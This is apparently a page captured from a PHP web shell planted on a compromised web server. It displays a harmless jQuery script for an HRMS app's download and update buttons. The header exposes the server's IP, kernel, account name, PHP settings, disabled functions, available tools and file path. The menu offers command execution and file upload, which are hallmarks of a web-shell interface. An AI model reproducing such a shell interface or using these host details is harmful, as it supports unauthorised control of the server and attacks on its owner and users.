Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/celkcksm/hrms.ncriptech.com/public/vendor/jmrashed/js/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
(function($) { "use strict"; $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') } }); $(document).on('click', '#download', function (e) { e.preventDefault(); var url = $(this).data('href'); var msg = 'Download'; swal({ title: 'Are you sure?', text: msg, type: 'warning', showCancelButton: true, confirmButtonColor: '#66cc99', cancelButtonColor: '#ff6666', confirmButtonText: 'Yes, Do it!', cancelButtonText: 'No, cancel!', confirmButtonClass: 'btn btn-success', cancelButtonClass: 'btn btn-danger' }) .then((result) => { if (result.value) { $('#download_buttons').hide(); $('#on_progress').show(); $.ajax({ url: url, method: 'POST', contentType: false, // The content type used when sending data to the server. cache: false, // To unable request pages to be cached processData: false, dataType: 'JSON', success: function (data) { toastr.success(data.message, 'Success'); if (data.goto) { setTimeout(function () { window.location.href = data.goto; }, 2000); } }, error: function (data) { ajax_error(data); } }); } }); }); $(document).on('click', '#direct_update', function (e) { e.preventDefault(); var url = $(this).data('href'); var msg = 'Update'; var build = $(this).data('build'); var version = $(this).data('version'); swal({ title: 'Are you sure?', text: msg, type: 'warning', showCancelButton: true, confirmButtonColor: '#66cc99', cancelButtonColor: '#ff6666', confirmButtonText: 'Yes, Do it!', cancelButtonText: 'No, cancel!', confirmButtonClass: 'btn btn-success', cancelButtonClass: 'btn btn-danger' }) .then((result) => { if (result.value) { $('#download_buttons').hide(); $('#on_progress').show(); $.ajax({ url: url, method: 'POST', data: { 'version': version, 'build': build }, dataType: 'JSON', success: function (data) { toastr.success(data.message, 'Success'); if (data.goto) { setTimeout(function () { window.location.href = data.goto; }, 2000); } }, error: function (data) { ajax_error(data); } }); } }); }); $(document).ready(function () { $('.preloader').fadeOut('slow'); }); })(jQuery);